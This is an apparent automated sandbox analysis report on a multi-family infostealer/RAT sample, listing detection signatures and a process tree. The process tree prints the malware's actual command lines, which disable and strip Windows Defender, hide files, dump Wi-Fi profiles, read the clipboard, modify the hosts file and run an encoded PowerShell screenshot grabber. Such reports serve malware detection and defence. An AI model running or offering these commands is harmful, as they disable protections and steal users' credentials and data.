Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578555
MD5:	cd7686b11754d77b8722880a1a3a9a43
SHA1:	ea1c00d2985812539452a31d8f75506573dad692
SHA256:	a3d6d7eea1a9270e20be65394c942207078daac5952a12a9404dd4c557fd2944
Tags:	exeuser-Bitsight
Infos:

Detection

NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Amadeys stealer DLL

Yara detected Blank Grabber

Yara detected LummaC Stealer

Yara detected PureLog Stealer

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Encrypted powershell cmdline option found

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Modifies the hosts file

PE file contains section with special chars

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Removes signatures from Windows Defender

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Suspicious Startup Folder Persistence

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses attrib.exe to hide files

Uses cmd line tools excessively to alter registry or file data

Uses netsh to modify the Windows network and firewall settings

Writes or reads registry keys via WMI

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Screensaver Binary File Creation

Stores files to the Windows start menu directory

Too many similar processes found

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

file.exe (PID: 5784 cmdline: "C:\Users\user\Desktop\file.exe" MD5: CD7686B11754D77B8722880A1A3A9A43)

skotes.exe (PID: 1436 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: CD7686B11754D77B8722880A1A3A9A43)

D1UL0FG.exe (PID: 5160 cmdline: "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe" MD5: 63EFECD388A74A9CDEB79CD7C8020E7E)

D1UL0FG.exe (PID: 6716 cmdline: "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe" MD5: 63EFECD388A74A9CDEB79CD7C8020E7E)

cmd.exe (PID: 1536 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6396 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 2164 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5820 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

MpCmdRun.exe (PID: 6396 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 1372 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 2128 cmdline: attrib +h +s "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 7152 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2704 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7184 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7344 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7216 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7316 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7380 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7452 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7556 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8004 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7564 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7964 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7644 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7940 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7680 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 8020 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7700 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 7948 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 7724 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 8092 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7256 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7500 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 5604 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7584 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 7784 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7728 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEF.tmp" "c:\Users\user\AppData\Local\Temp\l2sopuet\CSC2774EC596431493C9BAB8956CFD3669.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 7416 cmdline: C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 2672 cmdline: attrib -r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 4996 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 1632 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7684 cmdline: C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 8152 cmdline: attrib +r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 7816 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 8072 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 7856 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

